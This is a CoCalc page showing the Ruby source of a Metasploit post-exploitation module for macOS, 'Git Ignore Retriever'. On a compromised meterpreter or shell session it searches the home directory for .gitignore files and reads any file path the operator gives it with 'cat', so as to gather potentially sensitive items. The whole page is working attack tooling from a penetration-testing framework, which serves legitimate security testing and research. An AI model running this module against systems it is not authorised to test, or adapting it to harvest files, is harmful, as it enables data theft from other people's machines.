CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/gitignore.rb
Views: 11784
1
class MetasploitModule < Msf::Post
2
include Msf::Post::File
3
def initialize(info = {})
4
super(
5
update_info(
6
info,
7
'Name' => 'Git Ignore Retriever',
8
'Description' => %q{
9
This module finds potentially sensitive items by finding .gitignore files.
10
},
11
'License' => MSF_LICENSE,
12
'Author' => [ 'N!ght Jmp'],
13
'Platform' => [ 'osx' ],
14
'SessionTypes' => [ 'meterpreter', 'shell' ],
15
'Notes' => {
16
'Stability' => [CRASH_SAFE],
17
'SideEffects' => [IOC_IN_LOGS],
18
'Reliability' => []
19
}
20
)
21
)
22
register_options([
23
OptString.new('MODE', [false, 'Gitignore retrieval modes: 1). Find gitignore file locations. 2). Retrieve specific gitignore/file contents', '']),
24
OptString.new('FILE', [false, 'Filepath of gitignore/file to retrieve (For mode 2)', ''])
25
])
26
end
27
28
def run
29
mode = datastore['MODE'].to_i
30
file = datastore['FILE']
31
if mode == 1
32
print_status('Fetching .gitignore files')
33
gitlist = cmd_exec('find ~ -name ".gitignore" 2>/dev/null').chomp
34
for ignore in gitlist.split
35
print_good(ignore.to_s)
36
end
37
elsif mode == 2
38
if !file.to_s.empty?
39
gitignore = cmd_exec("cat #{file}").chomp
40
print_good(file.to_s)
41
print_good(gitignore.to_s)
42
else
43
print_error('Please set the FILE path!')
44
end
45
end
46
end
47
end
48
49